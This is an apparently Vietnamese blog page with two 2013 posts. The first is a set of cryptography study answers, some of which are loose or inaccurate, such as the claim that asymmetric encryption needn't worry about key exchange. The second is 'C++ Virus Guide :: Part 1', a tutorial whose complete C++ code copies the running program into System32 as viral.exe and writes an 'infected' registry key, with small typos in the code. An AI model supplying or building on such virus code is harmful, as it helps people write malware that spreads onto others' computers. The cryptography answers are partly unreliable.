Thứ Bảy, 30 tháng 11, 2013

Trả lời mật mã

1. Kiểu cipher nào là Caesar cipher?
Ceasar là kiểu mã hóa cổ điển.
2. Sự khác nhau giữa block cipher và stream cipher?
- Block cipher: lấy một số lượng bit xác định, còn được gọi là block, trong thông điệp nguyên thủy và mã hóa block đó.
- Stream cipher: mã hóa từng bit một trong thông điệp nguyên thủy, mỗi lần một bit.'
3. ECC được phân loại như thể loại nào của giải thuật mật mã ?
ECC (Elliptic curve cryptography) là một lớp của các giải thuật mật mã bất đối xứng.
4. Những điểm chính trong nguyên lý Kerckhoff?
- Hệ thống phải vững chắc , nếu không về mặt toán học, thì nó không thể đọc được.
- Hệ thống có thể không yêu cầu bí mật và có thể bị ăn trộm bởi kẻ địch mà không gây ra bất cứ vấn đề gì
- Hệ thoongs có thể dễ dàng giao tiếp và nhớ các keys mà không phải yêu cầu các ghi chú, và nó phải dễ dàng thay đổi hoặc chỉnh sửa các keys với những thành phần khác nhau
- Hệ thống có thể tương thích với các giao tiếp điện đàm
- Hệ thống phải có thể portable và các ứng dụng của nó có thể không yêu cầu nhiều hơn một người
- Cuối cùng, không quan tâm đến những hoàn cảnh mà hệ thống được áp dụng, nó phải dễ dàng sử dụng và không yêu cầu suy nghĩ nhiều cũng như kiến thức về những điều luật.
5. Substitution cipher là gì ?
Substitution cipher là loại mã hoạt động dựa trên nguyên tắc thay thế mỗi từ mã (bit, byte, ký tự, ...) bởi một từ mã khác theo một nguyên tắc nào đó.
6. Những sự khác nhau chính giữa mật mã đối xứng và bất đối xứng?
- Đối xứng: sử dụng một key
- Bất đối xứng: sử dụng 2 keys: public key và private keys
- Đối xứng: tốc độ nhanh nhưng gặp vấn đề trong việc trao đổi khóa
- Bất đối xứng: tốc độ chậm, không quan tâm về việc trao đổi khóa
7. Giải thích 3 DES khác thế nào so với DES?
- 3 DES là DES được sử dụng để mã hóa mỗi block 3 lần, mỗi lần với một key khác nhau .
8. Cách public key cryptography hoạt động ?
- public key cryptography sử dụng 2 khóa: một public key và một private key. Public key được sử dụng để mã hóa dữ liệu gửi từ người gửi đến người nhận và được chia sẻ với mọi người. Private key được sử dụng để giải mã dữ liệu đến tại nơi nhận và được bảo vệ cẩn thận bởi người nhận.
9 . Giải mã đoạn thông điệp:  V qb abg srne pbzchgref. V srne gur ynpx bs gurz. -Vfnnp Nfvzbi
- Thông điệp gốc là:
I do not fear computers. I fear the lack of them.
-Isaac Asimov
10. Physical security quan trọng như thế nào khi thảo luận về mật mã?
- Physical security  là một bước quan trọng khác trong việc bảo vệ dữ liệu. Nếu chúng ta khiến cho attacker khó tiếp cận về mặt vật lý đối với những thiết bị lưu trữ đồng nghĩa với việc chúng ta giải quyết được một phần lớn vấn đề của mình. Trong nhiều tình huống, các tổ chức lớn có các databases, file servers, và workstations chứa những thông tin về khách hàng, các dự báo kinh doanh, các tài liệu chiến lược kinh tế, các biểu đồ mạng hoặc nhiều thông tin khác mà chúng ta không muốn công khai hoặc rơi vào tay đối thủ cạnh tranh. Nếu chúng ta đặt những thiết bị vật lý ở những nơi có tính an toàn không cao, một attacker có thể đơn giản đi vào trụ sở và ăn trộm laptop, flash drive, hoặc đĩa từ một server và bỏ trốn với dữ liệu lấy trộm được.


Chủ Nhật, 3 tháng 11, 2013

C++ Virus Guide :: Part 1

Khi tôi bắt đầu học về virus, tôi tìm thấy rất nhiều hướng dẫn về virus trong ASM. Loại ngôn ngữ này rất thịnh hành với những người viết virus, nhưng tôi thích sử dụng C++ vì nó đơn giản hơn. Trong phần đầu tiên này tôi sẽ hướng dẫn copy một chương trình virus đơn giản vào trong một thư mục và ghi nó trong registry để giúp cho bạn hiểu cách virus lây nhiễm vào máy tính của chúng ta.

#include windows.h
#include string.h

Đây là 2 header files thường được sử dụng nhiều trong virus. "string.h" được cần đến khi ta sử dụng hàm strcat.

Tiếp theo chúng ta cần set một biến được cần tới. Biến này sẽ lưu đường dẫn tới thư mục trên windows (C:\Windows), số kí tự tối đa có thể lên tới 256 kí tự và nó có thể được viết như sau

char windir[MAX_PATH];

Bây giờ chúng ta cần bắt đầu hàm main, đây sẽ là nơi bạn lưu phần còn lại của code, nó là một entry-point function được gọi bởi hệ thống như là entry point khởi đầu của các ứng dụng dựa trên Windows.

int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              
int nCmdShow)

Đây là hàm mở chuẩn (standard opening function) cho bất cứ ứng dụng Windows nào như

Private main() in VB
.START in ASM
void main() in C
begin in pascal

và tương tự 

Ok bây giờ chúng ta cần set thêm biến trong hàm main. Biến thứ nhất sẽ lưu pathname của biến tiếp theo mà sẽ lưu vị trí của virus của bạn, biến khác sẽ được sử dụng cho handle của key, những gì sẽ được enter vào trong registry.

char pathname[256];
HKEY hKey;

Right, ok. Chúng ta bắt đầu code. Như tôi đã nói từ trước chương trình này sẽ lưu pathname của thư mục Windows và lưu nó vào trong biến 'windir'. Để có được windows path chúng ta có thể sử dụng dòng code phía dưới những gì sẽ lưu nó vào biến windir

GetWindowsDirectory(windr, sizeof(windr))

Nào bây giờ chúng ta đã có được pathname của windows directory, điều tiếp theo ta cần làm là tìm tên và đường dẫn của chính chương trình đó 

HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

Hiện tại chúng ta đã có windows directory, tên của chương trình, và đường dẫn của nó. Những gì chúng ta cần làm bây giờ là chuẩn bị một target path những gì sẽ là C:\Windows\System32\ là những gì chúng ta có thể thấy trong biến windir và chuẩn bị cho phần còn lại thông qua việc thêm vào cuối , thêm vào những gì bạn muốn, đó là tên của chương trình thực thi, đối với trường hợp của tôi là viral.exe.

Sử dụng hàm CopyFile, nó sẽ copy pathname của chính chương trình đến nơi bạn muốn "windir"

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);


Sử dụng Registry

Tôi sẽ chỉ hướng dẫn bạn một cách đơn giản để sử dụng registry
Thứ nhất là set bất cứ giá trị nào bạn muốn. Nó sẽ lưu giá trị trong "reg" lên tới 10 kí tự, nếu bạn không thay đổi nó.

unsigned char reg[10] = "infected";

Bây giờ thì tạo một key
RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);

và set giá trị cho nó
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));

đóng key chúng ta đã mở và kết thúc WinMain function
RegCloseKey(hKey);



Complete Code
#include windows.h#include string.h
char windir[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              
int nCmdShow)
{

char pathname[256];
HKEY hKey;

GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);

unsigned char reg[10] = "infected";
RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,
sizeof(reg));
RegCloseKey(hKey);

}